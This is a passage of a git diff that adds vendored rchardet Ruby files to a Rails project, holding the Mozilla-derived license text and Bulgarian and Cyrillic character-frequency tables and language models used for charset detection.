b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langbulgarianmodel.rb @@ -0,0 +1,229 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# 255: Control characters that usually does not exist in any text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 + +# Character Mapping Table: +# this table is modified base on win1251BulgarianCharToOrderMap, so +# only number <64 is sure valid + +module CharDet +Latin5_BulgarianCharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, # 40 +110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, # 50 +253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, # 60 +116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, # 70 +194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209, # 80 +210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225, # 90 + 81,226,227,228,229,230,105,231,232,233,234,235,236, 45,237,238, # a0 + 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, # b0 + 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,239, 67,240, 60, 56, # c0 + 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, # d0 + 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,241, 42, 16, # e0 + 62,242,243,244, 58,245, 98,246,247,248,249,250,251, 91,252,253, # f0 +] + +win1251BulgarianCharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, # 40 +110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, # 50 +253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, # 60 +116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, # 70 +206,207,208,209,210,211,212,213,120,214,215,216,217,218,219,220, # 80 +221, 78, 64, 83,121, 98,117,105,222,223,224,225,226,227,228,229, # 90 + 88,230,231,232,233,122, 89,106,234,235,236,237,238, 45,239,240, # a0 + 73, 80,118,114,241,242,243,244,245, 62, 58,246,247,248,249,250, # b0 + 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, # c0 + 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,251, 67,252, 60, 56, # d0 + 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, # e0 + 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,253, 42, 16, # f0 +] + +# Model Table: +# total sequences: 100% +# first 512 sequences: 96.9392% +# first 1024 sequences:3.0618% +# rest sequences: 0.2992% +# negative sequences: 0.0020% +BulgarianLangModel = [ +0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,3,3,3,3,3, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,2,2,1,2,2, +3,1,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,0,1, +0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,3,3,0,3,1,0, +0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,2,3,2,2,1,3,3,3,3,2,2,2,1,1,2,0,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,2,3,2,2,3,3,1,1,2,3,3,2,3,3,3,3,2,1,2,0,2,0,3,0,0, +0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,1,3,3,3,3,3,2,3,2,3,3,3,3,3,2,3,3,1,3,0,3,0,2,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,1,3,3,2,3,3,3,1,3,3,2,3,2,2,2,0,0,2,0,2,0,2,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,3,3,1,2,2,3,2,1,1,2,0,2,0,0,0,0, +1,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,2,3,3,1,2,3,2,2,2,3,3,3,3,3,2,2,3,1,2,0,2,1,2,0,0, +0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,1,3,3,3,3,3,2,3,3,3,2,3,3,2,3,2,2,2,3,1,2,0,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,3,3,3,1,1,1,2,2,1,3,1,3,2,2,3,0,0,1,0,1,0,1,0,0, +0,0,0,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,2,2,3,2,2,3,1,2,1,1,1,2,3,1,3,1,2,2,0,1,1,1,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,1,3,2,2,3,3,1,2,3,1,1,3,3,3,3,1,2,2,1,1,1,0,2,0,2,0,1, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,2,2,3,3,3,2,2,1,1,2,0,2,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,0,1,2,1,3,3,2,3,3,3,3,3,2,3,2,1,0,3,1,2,1,2,1,2,3,2,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,1,1,2,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,1,3,3,2,3,3,2,2,2,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,0,3,3,3,3,3,2,1,1,2,1,3,3,0,3,1,1,1,1,3,2,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,1,1,3,1,3,3,2,3,2,2,2,3,0,2,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,2,3,3,2,2,3,2,1,1,1,1,1,3,1,3,1,1,0,0,0,1,0,0,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,2,3,2,0,3,2,0,3,0,2,0,0,2,1,3,1,0,0,1,0,0,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,2,1,1,1,1,2,1,1,2,1,1,1,2,2,1,2,1,1,1,0,1,1,0,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,2,1,3,1,1,2,1,3,2,1,1,0,1,2,3,2,1,1,1,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,2,2,1,0,1,0,0,1,0,0,0,2,1,0,3,0,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,2,3,2,3,3,1,3,2,1,1,1,2,1,1,2,1,3,0,1,0,0,0,1,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,2,2,3,3,2,3,2,2,2,3,1,2,2,1,1,2,1,1,2,2,0,1,1,0,1,0,2,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,2,1,3,1,0,2,2,1,3,2,1,0,0,2,0,2,0,1,0,0,0,0,0,0,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,1,2,0,2,3,1,2,3,2,0,1,3,1,2,1,1,1,0,0,1,0,0,2,2,2,3, +2,2,2,2,1,2,1,1,2,2,1,1,2,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1, +3,3,3,3,3,2,1,2,2,1,2,0,2,0,1,0,1,2,1,2,1,1,0,0,0,1,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,2,3,3,1,1,3,1,0,3,2,1,0,0,0,1,2,0,2,0,1,0,0,0,1,0,1,2,1,2,2, +1,1,1,1,1,1,1,2,2,2,1,1,1,1,1,1,1,0,1,2,1,1,1,0,0,0,0,0,1,1,0,0, +3,1,0,1,0,2,3,2,2,2,3,2,2,2,2,2,1,0,2,1,2,1,1,1,0,1,2,1,2,2,2,1, +1,1,2,2,2,2,1,2,1,1,0,1,2,1,2,2,2,1,1,1,0,1,1,1,1,2,0,1,0,0,0,0, +2,3,2,3,3,0,0,2,1,0,2,1,0,0,0,0,2,3,0,2,0,0,0,0,0,1,0,0,2,0,1,2, +2,1,2,1,2,2,1,1,1,2,1,1,1,0,1,2,2,1,1,1,1,1,0,1,1,1,0,0,1,2,0,0, +3,3,2,2,3,0,2,3,1,1,2,0,0,0,1,0,0,2,0,2,0,0,0,1,0,1,0,1,2,0,2,2, +1,1,1,1,2,1,0,1,2,2,2,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0, +2,3,2,3,3,0,0,3,0,1,1,0,1,0,0,0,2,2,1,2,0,0,0,0,0,0,0,0,2,0,1,2, +2,2,1,1,1,1,1,2,2,2,1,0,2,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0, +3,3,3,3,2,2,2,2,2,0,2,1,1,1,1,2,1,2,1,1,0,2,0,1,0,1,0,0,2,0,1,2, +1,1,1,1,1,1,1,2,2,1,1,0,2,0,1,0,2,0,0,1,1,1,0,0,2,0,0,0,1,1,0,0, +2,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0,0,0,0,1,2,0,1,2, +2,2,2,1,1,2,1,1,2,2,2,1,2,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0, +2,3,3,3,3,0,2,2,0,2,1,0,0,0,1,1,1,2,0,2,0,0,0,3,0,0,0,0,2,0,2,2, +1,1,1,2,1,2,1,1,2,2,2,1,2,0,1,1,1,0,1,1,1,1,0,2,1,0,0,0,1,1,0,0, +2,3,3,3,3,0,2,1,0,0,2,0,0,0,0,0,1,2,0,2,0,0,0,0,0,0,0,0,2,0,1,2, +1,1,1,2,1,1,1,1,2,2,2,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0, +3,3,2,2,3,0,1,0,1,0,0,0,0,0,0,0,1,1,0,3,0,0,0,0,0,0,0,0,1,0,2,2, +1,1,1,1,1,2,1,1,2,2,1,2,2,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0, +3,1,0,1,0,2,2,2,2,3,2,1,1,1,2,3,0,0,1,0,2,1,1,0,1,1,1,1,2,1,1,1, +1,2,2,1,2,1,2,2,1,1,0,1,2,1,2,2,1,1,1,0,0,1,1,1,2,1,0,1,0,0,0,0, +2,1,0,1,0,3,1,2,2,2,2,1,2,2,1,1,1,0,2,1,2,2,1,1,2,1,1,0,2,1,1,1, +1,2,2,2,2,2,2,2,1,2,0,1,1,0,2,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0, +2,1,1,1,1,2,2,2,2,1,2,2,2,1,2,2,1,1,2,1,2,3,2,2,1,1,1,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,3,2,0,1,2,0,1,2,1,1,0,1,0,1,2,1,2,0,0,0,1,1,0,0,0,1,0,0,2, +1,1,0,0,1,1,0,1,1,1,1,0,2,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0, +2,0,0,0,0,1,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,2,1,1,1, +1,2,2,2,2,1,1,2,1,2,1,1,1,0,2,1,2,1,1,1,0,2,1,1,1,1,0,1,0,0,0,0, +3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, +1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,3,2,0,0,0,0,1,0,0,0,0,0,0,1,1,0,2,0,0,0,0,0,0,0,0,1,0,1,2, +1,1,1,1,1,1,0,0,2,2,2,2,2,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1, +2,3,1,2,1,0,1,1,0,2,2,2,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,2, +1,1,1,1,2,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0, +2,2,2,2,2,0,0,2,0,0,2,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,0,2,2, +1,1,1,1,1,0,0,1,2,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,2,0,0,2,0,1,1,0,0,0,1,0,0,2,0,2,0,0,0,0,0,0,0,0,0,0,1,1, +0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,3,2,0,0,1,0,0,1,0,0,0,0,0,0,1,0,2,0,0,0,1,0,0,0,0,0,0,0,2, +1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +2,1,2,2,2,1,2,1,2,2,1,1,2,1,1,1,0,1,1,1,1,2,0,1,0,1,1,1,1,0,1,1, +1,1,2,1,1,1,1,1,1,0,0,1,2,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0, +1,0,0,1,3,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,2,1,0,0,1,0,2,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,2,0,0,1, +0,2,0,1,0,0,1,1,2,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,2,0,1,1,0,2,1,0,1,1,1,0,0,1,0,2,0,1,0,0,0,0,0,0,0,0,0,1, +0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,2,2,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, +0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +2,0,1,0,0,1,2,1,1,1,1,1,1,2,2,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0, +1,1,2,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,1,2,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, +0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, +0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, +1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,2,0,0,2,0,1,0,0,1,0,0,1, +1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, +1,1,1,1,1,1,1,2,0,0,0,0,0,0,2,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +] + +Latin5BulgarianModel = { + 'charToOrderMap' => Latin5_BulgarianCharToOrderMap, + 'precedenceMatrix' => BulgarianLangModel, + 'mTypicalPositiveRatio' => 0.969392, + 'keepEnglishLetter' => false, + 'charsetName' => "ISO-8859-5" +} + +Win1251BulgarianModel = { + 'charToOrderMap' => win1251BulgarianCharToOrderMap, + 'precedenceMatrix' => BulgarianLangModel, + 'mTypicalPositiveRatio' => 0.969392, + 'keepEnglishLetter' => false, + 'charsetName' => "windows-1251" +} +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langcyrillicmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langcyrillicmodel.rb new file mode 100755 index 00000000..d6e4fb97 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langcyrillicmodel.rb @@ -0,0 +1,330 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet +# KOI8-R language model +# Character Mapping Table: +KOI8R_CharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, # 80 +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, # 90 +223,224,225, 68,226,227,228,229,230,231,232,233,234,235,236,237, # a0 +238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253, # b0 + 27, 3, 21, 28, 13, 2, 39, 19, 26, 4, 23, 11, 8, 12, 5, 1, # c0 + 15, 16, 9, 7, 6, 14, 24, 10, 17, 18, 20, 25, 30, 29, 22, 54, # d0 + 59, 37, 44, 58, 41, 48, 53, 46, 55, 42, 60, 36, 49, 38, 31, 34, # e0 + 35, 43, 45, 32, 40, 52, 56, 33, 61, 62, 51, 57, 47, 63, 50, 70, # f0 +] + +win1251_CharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, +223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, +239,240,241,242,243,244,245,246, 68,247,248,249,250,251,252,253, + 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, + 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, + 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, + 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, +] + +latin5_CharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, +223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, + 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, + 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, + 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, + 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, +239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, +] + +macCyrillic_CharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 + 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, + 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, +223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, +239,240,241,242,243,244,245,246,247,248,249,250,251,252, 68, 16, + 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, + 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27,255, +] + +IBM855_CharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 +191,192,193,194, 68,195,196,197,198,199,200,201,202,203,204,205, +206,207,208,209,210,211,212,213,214,215,216,217, 27, 59, 54, 70, + 3, 37, 21, 44, 28, 58, 13, 41, 2, 48, 39, 53, 19, 46,218,219, +220,221,222,223,224, 26, 55, 4, 42,225,226,227,228, 23, 60,229, +230,231,232,233,234,235, 11, 36,236,237,238,239,240,241,242,243, + 8, 49, 12, 38, 5, 31, 1, 34, 15,244,245,246,247, 35, 16,248, + 43, 9, 45, 7, 32, 6, 40, 14, 52, 24, 56, 10, 33, 17, 61,249, +250, 18, 62, 20, 51, 25, 57, 30, 47, 29, 63, 22, 50,251,252,255, +] + +IBM866_CharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 